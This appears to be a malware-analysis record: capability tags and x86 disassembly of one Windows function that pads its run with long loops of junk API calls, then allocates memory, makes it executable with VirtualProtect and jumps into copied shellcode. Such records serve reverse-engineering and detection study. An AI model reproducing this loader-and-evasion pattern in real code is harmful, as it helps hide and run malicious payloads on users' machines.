Function at 0x4039e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
push 0
call edi
call ebx
cmp esi, 0x207142
jg 0x403a11
inc esi
cmp esi, 0x67d12
jl 0x4039fa
cmp dword [0x283d638], 0x93
jne 0x403ad5
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuStringA]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0
call fcn.00404064
add esp, 4
push 0
push 0
call fcn.004046cd
push 0
call fcn.004045c0
add esp, 0xc
push 0
push 0
call fcn.004047d9
push 0
push 0
call fcn.0040402b
push 0
push 0
call fcn.004045ef
add esp, 0x18
mov eax, dword [0x444c2c]
add dword [0x283d638], 0x1134b
push 0x403668
mov dword [0x283d63c], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x283d638]
push ecx
push 0
mov dword [0x283c7f4], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [0x283d638]
lea edx, [ebp - 8]
push edx
push 0x40
push ecx
push eax
mov dword [0x283c28c], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.USER32.dll_GetMenuBarInfo]
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
mov esi, 0x1692e
push 0
push 0
push 0
push 0
call edi
push 0
lea edx, [ebp - 0x408]
push edx
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x403b32
cmp dword [0x283d638], esi
jbe 0x403bbe
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x283d63c]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x283c28c]
mov byte [edx + esi], cl
cmp dword [0x283d638], 0x490
jne 0x403bb5
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
inc esi
cmp esi, dword [0x283d638]
jb 0x403b64
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.USER32.dll_ChangeMenuA]
xor esi, esi
mov ecx, dword [0x283d638]
add ecx, esi
cmp ecx, 0x8d
jne 0x403c14
push 0
lea edx, [ebp - 0x808]
push edx
push 0
push 0x403678
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
inc esi
cmp esi, 0x38681
jl 0x403bcc
call fcn.00403790
xor edi, edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x403c44
mov dword [ebp - 4], edi
add dword [ebp - 4], 0x117d2
mov eax, dword [ebp - 4]
add dword [0x283c28c], eax
inc esi
cmp esi, 0x674bd
jl 0x403c26
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapSetInformation]
mov dword [ebp - 4], 0x7b
mov esi, dword [ebp - 4]
cmp dword [0x283d638], 0x86
jne 0x403ca6
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call edi
push 0
push 0
push esi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenThread]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
dec dword [ebp - 4]
jne 0x403c63
push 0x403680
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x283c28c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret